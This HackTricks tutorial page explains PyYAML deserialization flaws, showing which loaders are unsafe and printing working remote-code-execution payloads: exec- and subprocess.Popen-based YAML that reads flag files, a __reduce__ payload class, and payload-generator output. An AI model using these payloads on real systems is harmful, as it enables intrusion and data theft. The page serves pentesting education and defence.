Python Yaml Deserialization - HackTricks

# Python Yaml Deserialization

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Yaml Deserialization

Yaml python libraries is also capable to serialize python objects and not just raw data:

    print(yaml.dump(str("lol")))
    lol
    ...

    print(yaml.dump(tuple("lol")))
    !!python/tuple
    - l
    - o
    - l

    print(yaml.dump(range(1,10)))
    !!python/object/apply:builtins.range
    - 1
    - 10
    - 1

Check how the tuple isn’t a raw type of data and therefore it was serialized. And the same happened with the range (taken from the builtins).

safe_load() or safe_load_all() uses SafeLoader and don’t support class object deserialization. Class object deserialization example:

    import yaml
    from yaml import UnsafeLoader, FullLoader, Loader
    data = b'!!python/object/apply:builtins.range [1, 10, 1]'

    print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
    print(yaml.load(data, Loader=Loader)) #range(1, 10)
    print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
    print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
    print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
    print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
    print(yaml.unsafe_load(data)) #range(1, 10)
    print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
    print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

    #The other ways to load data will through an error as they won't even attempt to
    #deserialize the python object

The previous code used unsafe_load to load the serialized python class. This is because in version >= 5.1, it doesn’t allow to deserialize any serialized python class or class attribute, with Loader not specified in load() or Loader=SafeLoader.

### Basic Exploit

Example on how to execute a sleep:

    import yaml
    from yaml import UnsafeLoader, FullLoader, Loader
    data = b'!!python/object/apply:time.sleep [2]'
    print(yaml.load(data, Loader=UnsafeLoader)) #Executed
    print(yaml.load(data, Loader=Loader)) #Executed
    print(yaml.load_all(data))
    print(yaml.load_all(data, Loader=Loader))
    print(yaml.load_all(data, Loader=UnsafeLoader))
    print(yaml.load_all(data, Loader=FullLoader))
    print(yaml.unsafe_load(data)) #Executed
    print(yaml.full_load_all(data))
    print(yaml.unsafe_load_all(data))

### Vulnerable .load("<content>") without Loader

Old versions of pyyaml were vulnerable to deserialisations attacks if you didn't specify the Loader when loading something: `yaml.load(data)`

You can find the description of the vulnerability here. The proposed exploit in that page is:

    !!python/object/new:str
    state: !!python/tuple
      - 'print(getattr(open("flag\x2etxt"), "read")())'
      - !!python/object/new:Warning
        state:
          update: !!python/name:exec

Or you could also use this one-liner provided by @ishaack:

    !!python/object/new:str {
      state:
        !!python/tuple [
          'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
          !!python/object/new:Warning { state: { update: !!python/name:exec  } },
        ],
    }

Note that in recent versions you cannot no longer call `.load()` without a `Loader` and the `FullLoader` is no longer vulnerable to this attack.

## RCE

Custom payloads can be created using Python YAML modules such as PyYAML or ruamel.yaml. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.

    import yaml
    from yaml import UnsafeLoader, FullLoader, Loader
    import subprocess

    class Payload(object):
        def __reduce__(self):
            return (subprocess.Popen,('ls',))

    deserialized_data = yaml.dump(Payload()) # serializing data
    print(deserialized_data)

    #!!python/object/apply:subprocess.Popen
    #- ls

    print(yaml.load(deserialized_data, Loader=UnsafeLoader))
    print(yaml.load(deserialized_data, Loader=Loader))
    print(yaml.unsafe_load(deserialized_data))

### Tool to create Payloads

The tool https://github.com/j0lt-github/python-deserialization-attack-payload-generator can be used to generate python deserialization payloads to abuse Pickle, PyYAML, jsonpickle and ruamel.yaml:

    python3 peas.py
    Enter RCE command :cat /root/flag.txt
    Enter operating system of target [linux/windows] . Default is linux :linux
    Want to base64 encode payload ? [N/y] :
    Enter File location and name to save :/tmp/example
    Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
    Done Saving file !!!!

    cat /tmp/example_jspick
    {"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

    cat /tmp/example_pick | base64 -w0
    gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

    cat /tmp/example_yaml
    !!python/object/apply:subprocess.Popen
    - !!python/tuple
      - cat
        - /root/flag.txt

### References

- https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
- https://net-square.com/yaml-deserialization-attack-in-python.html

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.